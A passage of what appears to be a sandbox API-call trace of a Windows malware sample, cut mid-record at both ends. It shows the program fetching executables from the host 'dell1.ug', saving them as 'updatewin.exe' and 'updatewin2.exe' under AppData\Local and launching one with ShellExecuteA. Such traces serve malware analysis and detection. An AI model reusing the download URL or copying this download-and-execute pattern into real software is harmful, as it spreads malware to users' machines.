HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" [0054.567] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe") returned 1 [0054.567] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x7aa7b78 [0054.567] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0054.567] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0054.936] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.413] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.413] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.413] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.414] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.676] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.677] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.678] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.679] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0055.679] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0055.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.047] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.049] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.050] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.051] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.052] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.052] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.053] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.232] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.233] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.234] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.422] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.423] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.424] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.425] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.426] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.426] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.427] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.427] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.427] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.428] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.428] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.428] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.611] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.612] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.613] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0056.616] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0056.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x1200) returned 1 [0056.617] WriteFile (in: hFile=0x6d0, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x1200, lpOverlapped=0x0) returned 1 [0056.617] CloseHandle (hObject=0x6d0) returned 1 [0056.620] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0056.627] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0056.627] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7aa7b78 | out: hHeap=0x4ff0000) returned 1 [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a8c9f0 | out: hHeap=0x4ff0000) returned 1 [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a886e8 | out: hHeap=0x4ff0000) returned 1 [0056.661] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0056.661] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79bed40 [0056.661] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x85e) returned 0x7a0ad00 [0056.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x79bed40, cbMultiByte=-1, lpWideCharStr=0x7a0ad00, cchWideChar=1071 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin.exe") returned 44 [0056.661] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a886e8 [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bed40 | out: hHeap=0x4ff0000) returned 1 [0056.661] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x860) returned 0x7a0ad00 [0056.661] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x82f) returned 0x7a6f180 [0056.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x7a6f180, cbMultiByte=2095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 44 [0056.661] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x830) returned 0x7a6e8f8 [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6f180 | out: hHeap=0x4ff0000) returned 1 [0056.661] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0ad00 | out: hHeap=0x4ff0000) returned 1 [0056.661] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0057.834] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6e8f8 | out: hHeap=0x4ff0000) returned 1 [0057.834] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xe36d6d0, lpdwBufferLength=0xe36d710, lpdwIndex=0x0 | out: lpBuffer=0xe36d6d0*, lpdwBufferLength=0xe36d710*=0x4, lpdwIndex=0x0) returned 1 [0057.834] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79bed40 [0057.834] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x20) returned 0x7a8c860 [0057.834] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bed40 | out: hHeap=0x4ff0000) returned 1 [0057.834] lstrcpyA (in: lpString1=0x79ccf38, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" [0057.834] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe") returned 1 [0057.834] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x60) returned 0x7aa7b78 [0057.834] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0057.836] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.836] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.227] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.590] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.591] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.970] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.972] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.972] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.972] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0058.973] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0058.973] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.149] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.149] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.347] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.349] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xe36d6dc, lpOverlapped=0x0 | out: lpBuffer=0xe36d778*, lpNumberOfBytesWritten=0xe36d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.350] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe36d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xe36d6d8 | out: lpBuffer=0xe36d778*, lpdwNumberOfBytesRead=0xe36d6d8*=0x2800) returned 1 [0059.351] WriteFile (in: hFile=0x6c8, lpBuffer=0xe36d778*, nNumberOfBytesToWrite=0x2800, 